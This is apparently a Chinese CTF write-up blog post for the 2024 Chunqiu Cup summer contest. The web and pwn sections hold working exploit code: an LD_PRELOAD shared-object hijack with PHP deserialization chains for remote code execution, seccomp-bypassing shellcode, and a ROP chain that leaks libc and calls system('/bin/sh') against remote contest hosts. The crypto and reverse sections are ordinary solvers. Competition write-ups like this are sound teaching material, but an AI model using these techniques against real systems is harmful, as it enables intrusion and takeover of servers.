2024春秋杯网络安全联赛夏季赛

 以下这些均是来自本人以及团队内大佬的解题思路,也纯属做一个分享。如果哪里做的不好,希望师傅们能多多指教。

web

Hijack

首先要准备恶意so文件;里面构造我们要执行的命令,这里我们先看看目录

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls /");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
  unsetenv("LD_PRELOAD");
  payload();
  }

将.c文件编译成so,然后执行第一个EXP 如下:

<?php
  class ENV{
  public $key;
public $value;
public $math;
public function __toString()
{
  $key=filter($this->key);
  $value=filter($this->value);
  putenv("$key=$value");
  system("cat hints.txt");
}
public function __wakeup()
{
  if (isset($this->math->flag))
  {
    echo getenv("LD_PRELOAD");
    echo "YesYes";
  } else {
    echo "YesYesYes";
  }
}
}
class DIFF{
  public $callback;
  public $back;
  private $flag;
  public function __isset($arg1)
  {
    system("cat /flag");
    $this->callback->p;
    echo "You are stupid, what exactly is your identity?";
  }
}
class FUN{
  public $fun;
  public $value;
  public function __get($name)
  {
    $this->fun->getflag($this->value);
  }
}
class FILE{
  public $filename;
  public $enviroment;
  public function __get($arg1){
    if("hacker"==$this->enviroment){
      echo "Hacker is bad guy!!!";
    }
  }
  public function __call($function_name,$value)
  {
    if (preg_match('/\.[^
.]*$/'
                   , $this->filename, $matches)) {
      $uploadDir = "/tmp/";
      $destination = $uploadDir . md5(time()) . $matches[0];
      if (!is_dir($uploadDir)) {
        mkdir($uploadDir, 0755, true);
      }
      file_put_contents($this->filename,
                        base64_decode($value[0]));
      if (rename($this->filename, $destination)) {
        echo "文件成功移动到${destination}";
      } else {
        echo '文件移动失败。
';
      }
    } else {
      echo "非法文件名。
";
    }
  }
}
$a=new ENV();
$a->math=new DIFF();
$a->math->callback=new FUN();
$a->math->callback->value=""; //这里写入恶意so文件的base64编码后的结
果
$a->math->callback->fun=new FILE();
$a->math->callback->fun->filename="
.so";
echo urlencode(serialize($a));

生成反序列化结果post提交

回显结果
 



然后第二条链子,需要实现 putenv :
ENV::wakeup->DIFF::isset->FILE::call->ENV::tostring
exp如下
 

<?php
class ENV{
public $key;
public $value;
public $math;
public function __toString()
{
$key=filter($this->key);
$value=filter($this->value);
putenv("$key=$value");
system("cat hints.txt");
}
public function __wakeup()
{
if (isset($this->math->flag))
{
echo getenv("LD_PRELOAD");
echo "YesYes";
} else {
echo "YesYesYes";
}
}
}
class DIFF{
public $callback;
public $back;
private $flag;
public function __isset($arg1)
{
system("cat /flag");
$this->callback->p;
echo "You are stupid, what exactly is your identity?";
}
}
class FUN{
public $fun;
public $value;
public function __get($name)
{
$this->fun->getflag($this->value);
}
}
class FILE{
public $filename;
public $enviroment;
public function __get($arg1){
if("hacker"==$this->enviroment){
echo "Hacker is bad guy!!!";
}
}
public function __call($function_name,$value)
{
if (preg_match('/\.[^
.]*$/'
, $this->filename, $matches)) {
$uploadDir = "/tmp/";
$destination = $uploadDir . md5(time()) . $matches[0];
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
file_put_contents($this->filename,
base64_decode($value[0]));
if (rename($this->filename, $destination)) {
echo "文件成功移动到${destination}";
} else {
echo '文件移动失败。
';
}
} else {
echo "非法文件名。
";
}
}
}
$a=new ENV();
$a->math=new DIFF();
$a->math->callback=new FUN();
//$a->math->callback->value="asdasdasdqdq";
$a->math->callback->fun=new FILE();
//$a->math->callback->fun->filename=".so";
$a->math->callback->fun->filename=new ENV();
$a->math->callback->fun->filename->key="LD_PRELOAD";
$a->math->callback->fun->filename->value="/tmp/c0702151925e83bd5a792523132fb71a.so"; //这里填入上面回显的文件上传路径
echo urlencode(serialize($a));
?>

生成的反序列化对象post提交后回显如下,成功rce,看到目录。
 


然后更改一下.c文件中的命令执行,重复如上操作即可拿到flag。
 

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
    system("cat /flag_7876482a2df10725a459 > 4.txt"); 
}
int geteuid()
{
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

成功获得flag

 misc

初探勒索病毒

通过ssh连接将解密勒索病毒的工具放入var/www/html文件夹中,运行以下命令

sed -i 's/flags/"flags"/' ./decryptblocks.py

可能会提示权限不够

ctf@engine-1:/var/www/html$ sed -i 's/flags/"flags"/' ./decryptblocks.py
sed: can't read ./decryptblocks.py: No such file or directory

这时候给提示的文件添加权限就行chmod +777 decryptblocks.py,然后再运行

ctf@engine-1:/var/www/html$ export SRL_IGNORE_MAGIC=1
ctf@engine-1:/var/www/html$ ./decryptblocks.py ./banana.jpg.sah28vut5 ./key.block
WARNING:magic:Since we do not know the MAGIC, we will attempt to detect it.

完整的解题运行过程

这时候就可以把html目录下的jpg后面的给删除了,然后访问网站就可以看到

然后运行提示的命令,就可以拿到flag了

crypto

4-ezzzecc

题目直接给出是椭圆曲线

要求m,先使用gmpy2.gcd计算p,然后爆破k还原m 直接编写exp

a = 87425770561190618633288232353256495656281438408946725202136726983601884085917
b = 107879772066707091306779801409109036008421651378615140327877558014536331974777
K = (49293150360761418309411209621405185437426003792008480206387047056777011104939 ,43598371886286324285673726736628847559547403221353820773139325027318579443479)
G = (34031022567935512558184471533035716554557378321289293120392294258731566673565 , 74331715224220154299708533566163247663094029276428146274456519014761122295496)
c1 = (3315847183153421424358678117707706758962521458183324187760613108746362414091 ,61422809633368910312843316855658127170184420570309973276760547643460231548014)
c2 = (12838481482175070256758359669437500951915904121998959094172291545942862161864 ,60841550842604234546787351747017749679783606696419878692095419214989669624971)
cipher_left = 75142205156781095042041227504637709079517729950375899059488581605798510465939
cipher_right = 61560856815190247060747741878070276409743228362585436028144398174723191051815
l=K[0]**3+a*K[0]+b-K[1]**2
w=G[0]**3+a*G[0]+b-G[1]**2
import gmpy2
from tqdm import *
from Crypto.Util.number import *
p=gmpy2.gcd(l,w)
E = EllipticCurve(GF(p),[a,b])
c1=E(c1)
c2=E(c2)
G=E(G)
# for k in trange(1,1000000):
#     if(isPrime(k)):
#         y=k*G
#         if(int(y[0])==K[0]):
#             print(k)
k=166909
m=c1-c2*k
print(long_to_bytes((cipher_left*inverse(int(m[0]),p))%p)+long_to_bytes((cipher_right*inverse(int(m[1]),p))%p))
// flag{2d6a7e4e-02d3-11ef-8836-a4b1c1c5a2d2}

pwn

Shuffled_Execut

查看题目逻辑,大体为申请一段rwx的空间,随后读入用户输入shellcode。然后通过shuffle()函数对用户shellcode进行编码,当用户输入长度小于0xaf时,执行沙箱并执行用户的shellcode。

shellcode编码函数shuffle()使用伪随机数进行随机两个字节交换完成编码,因为随机数种子已知,所当shellcode长度固定时可以通过编写c代码,使编码后的shellcode正常执行。

使用工具seccomp-tools提取沙箱规则,可以看到禁用了包括orw和execve在内的大量syscall,因此考虑通过openat和writev函数输出flag。

写好shellcode后,将其按照shuffle()函数逻辑的逆运算处理,写出exp:

exp

from pwn import *

# 连接远程主机的IP地址和端口
p = remote('8.147.128.54', 18974)

# 设置架构为amd64
context.arch = 'amd64'

# 构造shellcode payload
payload = b'\x00\x00' + b'\x48\x89\xc4\x48\x81\xc4\x00\x01\x00\x00\x68\x66\x6c\x61\x67\x54\x5e\x48\x31\xff\x48\x83\xef\x64\x48\x31\xd2\x4d\x31\xd2\x48\xc7\xc0\x01\x01\x00\x00\x0f\x05\x48\xc7\xc7\x00\x00\x01\x00\x48\xc7\xc6\x00\x10\x00\x00\x48\xc7\xc2\x07\x00\x00\x00\x6a\x12\x41\x5a\x6a\x03\x41\x58\x4d\x31\xc9\x6a\x09\x58\x0f\x05\x6a\x01\x5f\x6a\x01\x5a\x68\x00\x01\x00\x00\x50\x48\x89\xe6\x6a\x14\x58\x0f\x05'

# 发送payload到远程主机
p.sendline(payload)

# 进入交互模式,与远程主机进行交互
p.interactive()

stdout

查看保护

ida 打开,查看main 函数

发现溢出0x10字节就可以覆盖rbp+ret_add

可以看到有 vuln溢出很长

思路:在主函数中调用vuln函数,通过ROP泄露libc地址,然后利用system函数执行任意命令

编写exp

from pwn import *

#p = process('./pwn')
p = remote("8.147.128.54", 20215)

elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')

def send_payload(payload):
    p.send(b'\x00' * (0x50 + 0x8) + p64(0x40125D))
    sleep(1)
    p.send(payload)
    sleep(1)

rdi_ret = 0x00000000004013d3
ret = 0x000000000040101a
rsi_r15_ret = 0x00000000004013d1
csu_rear = 0x4013CA
csu_head = 0x4013B0
bss = 0x4041a0
start = 0x401130
bye = 0x401287
read_plt = elf.plt['read']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

# Leak puts address
payload = b'\x00' * (0x20 + 0x8) + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start)
send_payload(payload)

# Read /bin/sh into BSS
payload = b'\x00' * (0x20 + 0x8) + p64(rdi_ret) + p64(0) + p64(rsi_r15_ret) + p64(bss) * 2 + p64(read_plt)
payload += p64(csu_rear) + p64(0) + p64(1) + p64(0) + p64(bss) + p64(0x1000) + p64(bss)
payload += p64(csu_head) + p64(0) * 7 + p64(read_plt) + p64(rdi_ret) + p64(bss) + p64(puts_plt) + p64(start)
send_payload(payload)

# Return to main
p.sendline(p64(ret))
sleep(1)

# Send padding
p.sendline(b'b' * (1024))
sleep(1)

# Leak libc base address
payload = b'\x00' * (0x20 + 0x8) + (p64(rdi_ret) + p64(bss) + p64(puts_plt)) * 6 + p64(start)
send_payload(payload)
leak_add = u64(p.recvuntil(b'\x7f', timeout=1)[-6:] + b'\x00\x00')
libcbase = leak_add - libc.symbols['puts']
system = libcbase + libc.symbols['system']
str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))
log.info('libcbase ' + hex(libcbase))

# Call system("/bin/sh")
payload = b'\x00' * (0x20 + 0x8) + p64(rdi_ret) + p64(str_bin_sh) + p64(system)
send_payload(payload)

p.interactive()

reverse

snack

拖入查壳软件发现是python打包的exe文件,用pyinstxtractor将exe解包。找到snack.pyc文件,利用pycdc将pyc文件转为py文件

分析代码发现是个RC4加密,但是有个点要注意它多了个异或 i 这个下标。导入了一个key模块

我们找到这个key.pyc文件,把它转为py文件。

查看key.py文件发现了key

把加密部分拿出来稍微改一下就得到了flag

def initialize(key):
    key_length = len(key)
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % key_length]) % 256
        S[i], S[j] = S[j], S[i]
    return S

def generate_key_stream(S, length):
    i = 0
    j = 0
    key_stream = []
    for _ in range(length):
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]  
        key_stream.append(S[(S[i] + S[j]) % 256])
    return key_stream

def decrypt(data, key):
    S = initialize(key)
    key_stream = generate_key_stream(S, len(data))
    decrypted_data = [i ^ data[i] ^ key_stream[i] for i in range(len(data))]
    for i in decrypted_data:
        print(chr(i), end='')
    return decrypted_data


key = [ord(c) for c in "V3rY_v3Ry_Ez"]
data = [
    101, 97, 39, 125, 218, 172, 205, 3, 235, 195, 72, 125, 89, 130, 103, 213,
    120, 227, 193, 67, 174, 71, 162, 248, 244, 12, 238, 92, 160, 203, 185, 155
]
decrypted = decrypt(data, key)
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值